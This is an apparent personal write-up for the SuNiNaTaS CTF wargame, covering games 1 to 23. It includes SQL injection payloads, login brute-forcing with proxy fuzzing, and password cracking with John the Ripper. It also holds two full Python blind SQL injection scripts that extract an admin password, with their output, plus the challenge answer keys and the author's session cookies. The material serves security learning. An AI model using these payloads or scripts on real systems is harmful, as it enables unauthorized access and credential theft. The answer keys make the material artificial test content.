suninatas note all in one

challenges

Game 01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%
str = Request("str")

If not str = "" Then
result = Replace(str,"a","aad")
result = Replace(result,"i","in")
result1 = Mid(result,2,2)
result2 = Mid(result,4,6)
result = result1 & result2
Response.write result
If result = "admin" Then
pw = "????????"
End if
End if
%>
ami

Game 02

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
function chk_form() {
var id = document.web02.id.value;
var pw = document.web02.pw.value;
if (id == pw) {
alert("You can't join! Try again");
document.web02.id.focus();
document.web02.id.value = "";
document.web02.pw.value = "";
} else {
document.web02.submit();
}
}
</script>
<!-- Hint : Join / id = pw -->
<!-- M@de by 2theT0P -->

use browser network

id=admin&pw=admin

Game 03

1
http://suninatas.com/board/notice/write
1q2w3e4r5t6y7u8i9o0p

Game 04

1
2
<!-- Hint : Make your point to 50 & 'SuNiNaTaS' -->
<!-- M@de by 2theT0P -->

i use zaproxy btw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST http://suninatas.com/challenge/web04/web04_ck.asp HTTP/1.1
host: suninatas.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Origin: http://suninatas.com
Connection: keep-alive
Referer: http://suninatas.com/challenge/web04/web04.asp
Cookie: ASPSESSIONIDCCTSAAQT=ONMDDJIBNIEMHLLEJFNAAAOJ // remember this is your session
Upgrade-Insecure-Requests: 1
Priority: u=0, i

total=0 // set fuzz location, numberzz from 0->23

// then click plus in browser with the same cookie
get alert
I like the SuNiNaTaS browser!

// move to requester and change User-Agent

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 SuNiNaTaS/147.0 // changed
...
Cookie: ASPSESSIONIDCCTSAAQT=ONMDDJIBNIEMHLLEJFNAAAOJ

total=25

// notice the point plus
// use fuzz again, until point = 50, don't overflow

<td class="table_top"><font size="2"><b>Auth key</b></font></td>
<td class="table_top">***********************</td>
Change your Us3r Ag3ent

Game 05

need to know -> JS Packer and JSObfuscator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
...
<input name="password" value="" style="width:180"></td>
...
<script>

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g l=m o(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'a\',\'b\',\'c\',\'d\',\'e\',\'f\');p q(n){g h=\'\';g j=r;s(g i=t;i>0;){i-=4;g k=(n>>i)&u;v(!j||k!=0){j=w;h+=l[k]}}x(h==\'\'?\'0\':h)}',34,34,'||||||||||||||||var|result||start|digit|digitArray|new||Array|function|PASS|true|for|32|0xf|if|false|return'.split('|'),0,{}))

</script>
...
<script>

function init(){
document.frm.password.value = "";
document.frm.password.focus();
}

</script>
<!--Hint : 12342046413275659 -->
<!-- M@de by 2theT0P -->

convert in console

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
var digitArray = new Array(
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
"9",
"a",
"b",
"c",
"d",
"e",
"f",
);
function PASS(n) {
var result = "";
var start = true;
for (var i = 32; i > 0; ) {
i -= 4;
var digit = (n >> i) & 0xf;
if (!start || digit != 0) {
start = false;
result += digitArray[digit];
}
}
return result == "" ? "0" : result;
}

// call function

PASS(12342046413275659);

// get result
*

Game 06

1
2
3
4
5
6
select szPwd from T_Web13 where
nIdx = '3' and szPwd = '"&pwd&"'

select szPwd from T_Web13 where
nIdx = '3' and szPwd = '1' or '1' like '1'

1
2
3
4
5
6
7
8
9
// get
Congratulation!!
auth_key is suninatastopofworld!

Now, you can read this article.

// http://suninatas.com/challenge/web06/view.asp?idx=3&num=3&passcode=wkdrnlwnd

<form method="post" name="KEY_HINT" action="Rome's First Emperor">
Augustus

Game 07

ublock btw

refresh and click the botton

1
<input type="submit" value="YES" />
G0Od d@y

Game 08

1
2
<!-- Hint : Login 'admin' Password in 0~9999 -->
<!-- M@de by 2theT0P -->

zaproxy btw

use fuzz and numberzz 0-9999

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST http://suninatas.com/challenge/web08/web08.asp HTTP/1.1
host: suninatas.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: http://suninatas.com
Connection: keep-alive
Referer: http://suninatas.com/challenge/web08/web08.asp
Cookie: ASPSESSIONIDQSBTDCST=FNDPAPJCJDFBJAAENDCKDGDK
Upgrade-Insecure-Requests: 1
Priority: u=0, i

id=admin&pw=1 <-!!
l3ruteforce P@ssword

Game 09

1
2
3
4
5
6
7
8
9
10
11
12
❯ 7z x SuNiNaTaS.zip

...
Enter password:suninatas

Everything is Ok

Size: 375808
Compressed: 198520

❯ file Project1.exe
Project1.exe: PE32 executable for MS Windows 4.00 (GUI), Intel i386, 8 sections

test run in win10

virtual box btw

see a input box and two button

ida btw

shift f12 and see congratulation message then double click

guess the password

1
2
3
4
5
6
7
8
9
10
CODE:00450388 ; ---------------------------------------------------------------------------
CODE:00450389 align 4
CODE:0045038C _str_913465 _strings <0FFFFFFFFh, 6, '913465'>
CODE:0045038C ; DATA XREF: _TForm1_Button1Click+1B↑o
CODE:0045039B align 4
CODE:0045039C ; const CHAR aSuninatas[]
CODE:0045039C aSuninatas db 'SuNiNaTaS',0 ; DATA XREF: _TForm1_Button1Click+45↑o
CODE:004503A6 align 4
CODE:004503A8 ; const CHAR aCongratulation[]
CODE:004503A8 aCongratulation db 'Congratulation!',0 ; DATA XREF: _TForm1_Button1Click+4A↑o

Game 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
❯ 7z x reversing.zip

❯ file reversing.exe
reversing.exe: PE32 executable for MS Windows 4.00 (GUI), Intel i386 Mono/.Net assembly, 3 sections

# hex view
2.t.h.e.T.@.P...
A.u.t.h.k.e.y. .
:. .D.i.d. .U. .
u.s.e. .t.h.e. .
P.e.i.d.?...S.u.
N.i.N.a.T.a.S...
..T.r.y. .a.g.a.
i.n.!...e.x.p.l.
o.r.e.r...h.t.t.
p.:././.s.u.n.i.
n.a.t.a.s...c.o.
m...t.e.x.t.B.o.
x.1...b.u.t.t.o.
n.1...O.K...t...
..l.a.b.e.l.2...
M.@.d.e. .b.y. .
2.t.h.e.T.0.P...
b.u.t.t.o.n.2...
Q.U.I.T...F.o.r.
m.1...W.i.n.d.o.
w.s.F.o.r.m.s.A.
p.p.l.i.c.a.t.i.
o.n.1...P.r.o.p.
e.r.t.i.e.s...R.
e.s.o.u.r.c.e.s.

programe based on WinForms

guess or

use dnSpyEx and drag the file(run in windows)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// WindowsFormsApplication1.Form1
// Token: 0x06000003 RID: 3 RVA: 0x00002068 File Offset: 0x00000268
private void button1_Click(object sender, EventArgs e)
{
string text = "2theT@P";
string text2 = "Authkey : Did U use the Peid?";
if (this.textBox1.Text == text)
{
MessageBox.Show(text2, "SuNiNaTaS");
this.textBox1.Text = "";
return;
}
MessageBox.Show("Try again!", "SuNiNaTaS");
this.textBox1.Text = "";
}

Game 11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
❯ file Project1.exe
Project1.exe: PE32 executable for MS Windows 4.00 (GUI), Intel i386, 8 sections

check the string
CODE:0045041C 00000010 C Congratulation!
CODE:00450434 0000000B C Authkey :
CODE:004504B8 00000009 C 2abbe4b6
CODE:004504CC 00000009 C 44536ca0
CODE:004504E0 00000009 C 81aae922
CODE:004504F4 00000009 C e32fa0de

check reference
_TForm1_FormCreate proc near
push ebx
mov ebx, eax
lea eax, [ebx+300h]
mov edx, offset _str_2abbe4b6.Text
call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
lea eax, [ebx+304h]
mov edx, offset _str_44536ca0.Text
call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
lea eax, [ebx+308h]
mov edx, offset _str_81aae922.Text
call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
lea eax, [ebx+30Ch]
mov edx, offset _str_e32fa0de.Text
call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
push dword ptr [ebx+300h]
push dword ptr [ebx+308h]
push dword ptr [ebx+304h]
push dword ptr [ebx+30Ch]
lea eax, [ebx+324h]
mov edx, 4
call @System@@LStrCatN$qqrv ; System::__linkproc__ LStrCatN(void)
pop ebx
retn
_TForm1_FormCreate endp

get auth
2abbe4b681aae92244536ca0e32fa0de

or

check decompiled code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall TForm1_Button1Click(int a1)
{
...
System::__linkproc__ LStrAsg(a1 + 784, &str_2V[1]);
System::__linkproc__ LStrAsg(a1 + 788, &str_XS[1]);
System::__linkproc__ LStrAsg(a1 + 792, &str_B6[1]);
System::__linkproc__ LStrAsg(a1 + 796, &str_H1[1]);
System::__linkproc__ LStrAsg(a1 + 800, &str_0F[1]); // get string

System::__linkproc__ LStrCatN(
a1 + 816,
5,
v2,
*(_DWORD *)(a1 + 792),
*(_DWORD *)(a1 + 796),
*(_DWORD *)(a1 + 788),
*(_DWORD *)(a1 + 800)); // rearrange
...
}

rearrange is odd check asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
lea     eax, [ebx+310h]
mov edx, offset _str_2V.Text
call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
lea eax, [ebx+314h]
mov edx, offset _str_XS.Text
call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
lea eax, [ebx+318h]
mov edx, offset _str_B6.Text
call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
lea eax, [ebx+31Ch]
mov edx, offset _str_H1.Text
call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
lea eax, [ebx+320h]
mov edx, offset _str_0F.Text
call @System@@LStrAsg$qqrpvpxv ; System::__linkproc__ LStrAsg(void *,void *)
push dword ptr [ebx+310h] // 2V
push dword ptr [ebx+318h] // B6
push dword ptr [ebx+31Ch] // H1
push dword ptr [ebx+314h] // XS
push dword ptr [ebx+320h] // 0F

// get password 2VB6H1XS0F
// input and get auth

Game 12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
http://suninatas.com/admin/

// get qrcode, scan

MECARD:N:;TEL:;EMAIL:;NOTE:;URL:http://suninatas.com/admin/admlogin.asp;ADR:;

// check url, get the file

<embed src="admlogin.swf">

// download

❯ file a.swf
a.swf: Macromedia Flash data (compressed), version 8

// use ffdec btw

❯ paru -Ss ffdec
aur/ffdec 25.0.0-2 [+35 ~0.16]
Open Source Flash SWF decompiler and editor

import file to ffdec and search auth keyword

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
on(release){
function receipt()
{
if(flashid != "admin" or flashpw != "myadmin!@")
{
flashmessage = "Wrong ID or PW";
play();
}
else
{
flashmessage = "Auth : \"Today is a Good day~~~\"";
play();
}
}
receipt();
}
Today is a Good day~~~

Game 13

1
2
<!--	Hint : 프로그래머의 잘못된 소스백업 습관 -->
<!-- Hint : The programmer's bad habit of backup source codes -->

how do i know there was file named web13.zip????

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# download

http://suninatas.com/challenge/web13/web13.zip

# unzip
# !!! if you don't set Locale Korean

❯ 7z x web13.zip
ERROR: Wrong password : whitehack1.jpg
ERROR: Wrong password : whitehack2.jpg
ERROR: Wrong password : whitehack3.jpg
ERROR: Wrong password : whitehack4.jpg
ERROR: Wrong password : �������4�ڸ���.txt

# suggest to use unar btw
# auto check Korean
❯ unar web13.zip
압축비번은4자리정수

# translate is -> The compression password is a 4-digit integer

# john the ripper btw, seclist btw(all get from github)
❯ zip2john web13.zip > hash.txt
❯ john hash.txt --wordlist=~/ctf/tool/dic/SecLists/Fuzzing/4-digits-0000-9999.txt
...
7642 (web13.zip)
...

# unar again
# open the 압축비번은4자리정수.txt with Encoding EUC-KR
# i use vscode btw

4개의 이미지를 합하여 key를 구하시오 -> Combine the four images to find the key.

❯ xxd whitehack1.jpg | head -20
...
000000a0: 0016 6669 7273 7420 6b65 7920 3a20 336e ..first key : 3n
000000b0: 6461 3139 326e ffc0 0011 0800 5700 b403 da192n......W...
...

❯ xxd whitehack2.jpg | head -20
...
000000a0: 0017 7365 636f 6e64 206b 6579 203a 2038 ..second key : 8
000000b0: 3465 6431 6361 65ff c000 1108 018d 018d 4ed1cae.........
...

❯ xxd whitehack3.jpg | head -20
...
00000050: 393d 3832 3c2e 3334 32ff fe00 1574 6869 9=82<.342....thi
00000060: 7264 206b 6579 3a20 3861 6267 3932 3935 rd key: 8abg9295
00000070: ffc0 000b 0800 4f00 b401 0111 00ff c400 ......O.........
...

❯ xxd whitehack4.jpg | head -20
...
000000a0: 0017 666f 7572 7468 206b 6579 203a 2063 ..fourth key : c
000000b0: 6639 6564 6134 64ff c000 1108 00b4 00a4 f9eda4d.........
...

# combine the four key
3nda192n84ed1cae8abg9295cf9eda4d

Game 14

use john the ripper btw

1
2
3
4
5
6
7
8
9
10
11
12
❯ tar xf evidence.tar

// check file

suninatas:$6$QlRlqGhj$BZoS9PuMMRHZZXz1Gde99W01u3kD9nP/zYtl8O2dsshdnwsJT/1lZXsLar8asQZpqTAioiey4rKVpsLm/bqrX/:15427:0:99999:7:::

❯ unshadow passwd shadow > unshadow

❯ john unshadow --wordlist=~/ctf/tool/dic/rockyou.txt
...
******* (suninatas)
...
iloveu1

Game 15

nice song

use exiftool btw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ xxd diary.mp3 > tmp

# check tmp

00000000: 4944 3303 0000 0000 6f76 5450 4532 0000 ID3.....ovTPE2..
00000010: 0005 0000 00b3 aaba f154 4954 3200 0000 .........TIT2...
00000020: 0900 0000 b4d9 c0cc beee b8ae 5441 4c42 ............TALB
00000030: 0000 0009 0000 00b4 d9c0 ccbe eeb8 ae54 ...............T
00000040: 5945 5200 0000 0500 0000 3230 3131 5452 YER.......2011TR
00000050: 434b 0000 0002 0000 0031 5758 5858 0000 CK.......1WXXX..
00000060: 0017 0000 0000 6874 7470 3a2f 2f69 686f ......http://iho
00000070: 6e65 7964 6577 2e63 6f6d 2f41 5049 4300 neydew.com/APIC.
00000080: 0033 f700 0000 696d 6167 652f 6a70 6567 .3....image/jpeg
00000090: 0003 00ff d8ff e000 104a 4649 4600 0101 .........JFIF...
000000a0: 0101 2c01 2c00 00ff e101 8645 7869 6600 ..,.,......Exif. <- may be exif?

❯ exiftool diary.mp3
...
Conductor : ********************
...
GoodJobMetaTagSearch

use binwalk get the cover btw

1
❯ binwalk -e diary.mp3

Game 16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ 7z x packet_dump.zip

❯ file packet_dump.pcap
packet_dump.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)

# what is pcap file?
# Packet Capture
# no need wireshark btw :)

# grep keyword like pass password etc, you will notice these post
❯ strings packet_dump.pcap | grep Hpw=
Hid=suninatas&Hpw=suninatasc
Hid=blackkey&Hpw=blackkeyn
Hid=ultrashark&Hpw=sharkpass01~
Hid=ultrashark&Hpw=%3Dsharkpass01
Hid=ultrashark&Hpw=%3DSharkPass01

# try login with all of the four id pass
Congratulation! Authkey : ********************************
WireSharkBetterThanWirelessShark

Game 17

1
2
convert qr.png -threshold 85% out.png
convert out.png -background black -alpha remove -alpha off oo.png

i don't know how to use gimp

use krita btw, drag three patterns picture to krita over the image

then scan use zbarimg

Good Job! Congraturation! AuthKey is YouAreQRCodeMaster~!

YouAreQRCodeMaster~!

i hate painting orz

Game 18

notice each of the number maybe hex value

1
2
data = [86, 71, 57, 107, 89, 88, 107, 103, 97, 88, 77, 103, 89, 83, 66, 110, 98, 50, 57, 107, 73, 71, 82, 104, 101, 83, 52, 103, 86, 71, 104, 108, 73, 69, 70, 49, 100, 71, 104, 76, 90, 88, 107, 103, 97, 88, 77, 103, 86, 109, 86, 121, 101, 86, 90, 108, 99, 110, 108, 85, 98, 50, 53, 110, 86, 71, 57, 117, 90, 48, 100, 49, 99, 109, 107, 104]
print(''.join(f'{x:02x}' for x in data))
1
2
3
4
5
6
python tmp.py > hex.txt

xxd -r -p hex.txt data.bin

cat data.bin
VG9kYXkgaXMgYSBnb29kIGRheS4gVGhlIEF1dGhLZXkgaXMgVmVyeVZlcnlUb25nVG9uZ0d1cmkh

use cyberchef to decode

base64 btw

1
Today is a good day. The AuthKey is *********************
VeryVeryTongTongGuri!

Game 19

1
2
3
4
5
6
7
8
9
10
11
12
0100111001010110010000110101010001000110010001000101
0110001000000100101101000110001000000100101001001100
0100010101011010010001010101001001001011010100100100
1010001000000101001001000101010101010010000001001011
0100011001010101010100100101000000100000010110100100
1010001000000101001000100000010110000100011001000110
0101010100100000010101010101001001010000001000000101
0010010001010101010100100000010100100100110001001011
0101100101000010010101100101000000100000010110100100
1010001000000100011101000011010100100101101001010101
0101010001001011010101110101101001001010010011010101
0110010010010101000001011001010100100100100101010101

use cyberchef to decode binary

1
NVCTFDV KF JLEZERKRJ REU KFURP ZJ R XFFU URP REU RLKYBVP ZJ GCRZUTKWZJMVIPYRIU

use identifier btw

try Affine Decoder

WELCOME TO SUNINATAS AND TODAY IS A GOOD DAY AND AUTHKEY IS **********

PLAIDCTFISVERYHARD

Game 20

1
2
❯ file reverseme
reverseme: ELF 32-bit LSB executable, Intel i386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=edca29004a6470ffe6b43bf22c6c842c1dbb5900, not stripped
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-40h]
int v5; // [esp+10h] [ebp-34h] BYREF
_BYTE s[30]; // [esp+16h] [ebp-2Eh] BYREF
unsigned int v7; // [esp+34h] [ebp-10h]
unsigned int j; // [esp+38h] [ebp-Ch]
int i; // [esp+3Ch] [ebp-8h]

memset(s, 0, sizeof(s));
if ( argc > 1 || strcmp(*argv, "./suninatas") ) <- only one arg and need to be suninatas
return 0;
for ( i = 0; envp[i]; ++i )
{
for ( j = 0; j < strlen(envp[i]); ++j )
envp[i][j] = 0;
}
_printf("Authenticate : ", v4);
_isoc99_scanf("%30s", s); <- what is the size
memset(&input, 0, 0xCu);
v5 = 0;
v7 = Base64Decode(s, &v5);
if ( v7 <= 0xC ) <- int 13
{
memcpy(&input, v5, v7);
if ( auth(v7) == 1 )
correct(); <- !!!!
}
return 0;
}

_BOOL4 __cdecl auth(int a1)
{
_BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] BYREF

memcpy(&v4, &input, a1);
s2 = (char *)calc_md5((int)v2, 12); <- 12 bytes
_printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

void __noreturn correct()
{
if ( input == -559038737 ) <- cmp eax, 0DEADBEEFh
IO_puts("Congratulation! you are good!");
exit(0);
}

Stack Pivot (栈迁移) btw

surrender pwn

i will come back orz

Game 21

1
<img src="./monitor.jpg"></td>

download file and check

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ file monitor.jpg
monitor.jpg: JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=11, description=SAMSUNG , manufacturer=SAMSUNG , model=SHW-M110S, orientation=upper-left, xresolution=196, yresolution=204, resolutionunit=2, software=fw 49.01 prm 49.104, datetime=2012:05:02 03:23:52], baseline, precision 8, 640x480, components 3

❯ binwalk monitor.jpg
Analyzed 1 file for 85 file signatures (187 magic patterns) in 9.0 milliseconds

❯ stegseek monitor.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

Invalid JPEG file structure: two SOI markers

# JPEG 文件的文件头标志(Start of Image, SOI)

❯ foremost monitor.jpg

# check output dir

❯ tree output/
output/
├── audit.txt
└── jpg
├── 00000000.jpg
├── 00000383.jpg
├── 00000765.jpg
├── 00001148.jpg
├── 00001532.jpg
├── 00001914.jpg
├── 00002297.jpg
└── 00002681.jpg

2 directories, 9 files
H4CC3R_IN_TH3_MIDD33_4TT4CK

Game 22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Blind Sql Injection Filtering Keywords select / Union / or / white space / by /
having from / char / ascii / left / right / delay / 0x ..........

<!-- Hint : guest / guest & Your goal is to find the admin's pw -->
<!-- M@de by 2theT0P -->

GET /challenge/web22/web22.asp?id=admin&pw=admin HTTP/1.1 Host: suninatas.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101
Firefox/147.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language:
en-US,en;q=0.9 Accept-Encoding: gzip, deflate Dnt: 1 Sec-Gpc: 1 Connection:
keep-alive Referer:
http://suninatas.com/challenge/web22/web22.asp?id=admin&pw=admin Cookie:
ASP.NET_SessionId=3g042optmn40uhuoxlqhkvai;
ASPSESSIONIDACTRACSS=MEJDPMPAHECDELCJCFEOEINE;
ASPSESSIONIDCCTSAAQT=NNMDDJIBCMFACGADEKFHFNCA;
ASPSESSIONIDQSBTDCST=DNDPAPJCEPOJPKPFACBKBPKJ;
auth%5Fkey=65038b0559e459420aa2d23093d01e4a;
ASPSESSIONIDAARSBCRR=NNOJOPPCBMOBJCNACCPNBHIP;
ASPSESSIONIDCCTQCCSR=FLDDKMEDLOFIPEODAHAPDDID Upgrade-Insecure-Requests: 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import string

url = "http://suninatas.com/challenge/web22/web22.asp"
cookies = {
"ASP.NET_SessionId": "3g042optmn40uhuoxlqhkvai",
"ASPSESSIONIDACTRACSS": "MEJDPMPAHECDELCJCFEOEINE",
"ASPSESSIONIDCCTSAAQT": "NNMDDJIBCMFACGADEKFHFNCA",
"ASPSESSIONIDQSBTDCST": "DNDPAPJCEPOJPKPFACBKBPKJ",
"auth_key": "65038b0559e459420aa2d23093d01e4a",
"ASPSESSIONIDAARSBCRR": "NNOJOPPCBMOBJCNACCPNBHIP",
"ASPSESSIONIDCCTQCCSR": "FLDDKMEDLOFIPEODAHAPDDID",
"ASPSESSIONIDCCRRBDTT": "AGEJLNGDPEFCCNCGDHAPBLEH"
}

charset = string.ascii_letters + string.digits + "!@#$%^&*()_+"

password = ""
for i in range(1, 31):
found_char = False
for char in charset:
# substring(pw, index, length)
payload = f"'and(substring(pw,{i},1)='{char}')--"

params = {
'id': 'admin' + payload,
'pw': 'a',
}

try:
target_url = f"{url}?id={params['id']}&pw={params['pw']}"
r = requests.get(target_url, cookies=cookies)
if "OK" in r.text:
password += char
print(f"[+] Found char at index {i}: {char}")
found_char = True
break
except Exception as e:
print(f"[!] Error: {e}")

if not found_char:
print("[-] End of password or char not in charset.")
break

print(f"\n[SUCCESS] Final Password: {password}")
1
2
3
4
5
6
7
8
9
10
11
12
13
[+] Found char at index 1: N
[+] Found char at index 2: 1
[+] Found char at index 3: c
[+] Found char at index 4: 3
[+] Found char at index 5: B
[+] Found char at index 6: i
[+] Found char at index 7: l
[+] Found char at index 8: n
[+] Found char at index 9: l
[+] Found char at index 10: )
[+] Found char at index 11: +
[+] Found char at index 12: +
...
N1c3Bilnl)

Game 23

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!-- Hint 1 : guest / guest & Your goal is to find the admin's pw -->
<!-- Hint 2 : Bypass 'admin' string -->
<!-- M@de by 2theT0P -->

Hard Blind Sql Injection
Filtering Keywords
admin/ select / Union / by / having / substring
from / char / delay / 0x / hex / asc / desc ..........

GET http://suninatas.com/challenge/web23/web23.asp?id=admin&pw=admin HTTP/1.1
host: suninatas.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Referer: http://suninatas.com/challenge/web23/web23.asp
Cookie: ASPSESSIONIDCCRRBDTT=GGEJLNGDLBDFBJJEENBHDHDL
Upgrade-Insecure-Requests: 1
Priority: u=0, i```

# test
id: ad'+'min'and 1=1 --
pw: arst
# get OK admin

# get <td colspan="2" align="center" bgcolor="cccccc">No hack</td>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
"""
Blind SQL Injection Script
Automates character-by-character extraction via substring-based comparisons.
Target: suninatas.com Challenge 22
"""

import requests
import string
import sys

# --- Configuration ---
TARGET_URL = "http://suninatas.com/challenge/web23/web23.asp"
COOKIES = { "ASPSESSIONIDAASRCCSR": "OAJDDHCCMDNKFDFPBKCECLBN" }

CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+"
MAX_LENGTH = 31
SUCCESS_INDICATOR = "OK <font size=4 color=blue>admin"
ERROR_INDICATOR = "No hack"

def check_str(count, string):
params = {
'id': f"'or left(pw,{count})='{string}'--",
'pw': 'ar',
}
# print(params)

try:
# Note: Using params in requests.get handles URL encoding automatically
response = requests.get(TARGET_URL, params=params, cookies=COOKIES, timeout=5)
if ERROR_INDICATOR in response.text:
print(f"\n[!] Error: {response.text}")
exit()
return SUCCESS_INDICATOR in response.text
except requests.RequestException as e:
print(f"\n[!] Request error: {e}")
return False

def main():
print(f"[*] Starting Blind SQL Injection on {TARGET_URL}")
print(f"[*] Target max length: {MAX_LENGTH}")

extracted_string = ""

for i in range(1, MAX_LENGTH + 1):
found = False
# Visual progress for the current index
sys.stdout.write(f"[*] Finding char {i:02}: ")
sys.stdout.flush()

for char in CHARSET:
if check_str(i, extracted_string + char):
extracted_string += char
sys.stdout.write(f"{char}\n")
sys.stdout.flush()
found = True
break

if not found:
sys.stdout.write("None found. Stopping.\n")
break

print("\n" + "="*30)
print(f"EXTRACTED DATA: {extracted_string}")
print("="*30)

if __name__ == "__main__":
main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ python sqli_blind.py
[*] Starting Blind SQL Injection on http://suninatas.com/challenge/web23/web23.asp
[*] Target max length: 31
[*] Finding char 01: v
[*] Finding char 02: 3
[*] Finding char 03: r
[*] Finding char 04: y
[*] Finding char 05: h
[*] Finding char 06: a
[*] Finding char 07: r
[*] Finding char 08: d
[*] Finding char 09: s
[*] Finding char 10: q
[*] Finding char 11:
[!] Error:

# get v3ryhardsq

need the right side version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
"""
Blind SQL Injection Script
Automates character-by-character extraction via substring-based comparisons.
Target: suninatas.com Challenge 22
"""

import requests
import string
import sys

# --- Configuration ---
TARGET_URL = "http://suninatas.com/challenge/web23/web23.asp"
COOKIES = { "ASPSESSIONIDAASRCCSR": "OAJDDHCCMDNKFDFPBKCECLBN" }

CHARSET = string.ascii_letters + string.digits + "!@#$%^&*()_+"
MAX_LENGTH = 31
SUCCESS_INDICATOR = "OK <font size=4 color=blue>admin"
ERROR_INDICATOR = "No hack"

def check_str(count, string):
params = {
'id': f"'or right(pw,{count})='{string}'--",
'pw': 'ar',
}
# print(params)

try:
# Note: Using params in requests.get handles URL encoding automatically
response = requests.get(TARGET_URL, params=params, cookies=COOKIES, timeout=5)
if ERROR_INDICATOR in response.text:
print(f"\n[!] Error: {response.text}")
exit()
return SUCCESS_INDICATOR in response.text
except requests.RequestException as e:
print(f"\n[!] Request error: {e}")
return False

def main():
print(f"[*] Starting Blind SQL Injection on {TARGET_URL}")
print(f"[*] Target max length: {MAX_LENGTH}")

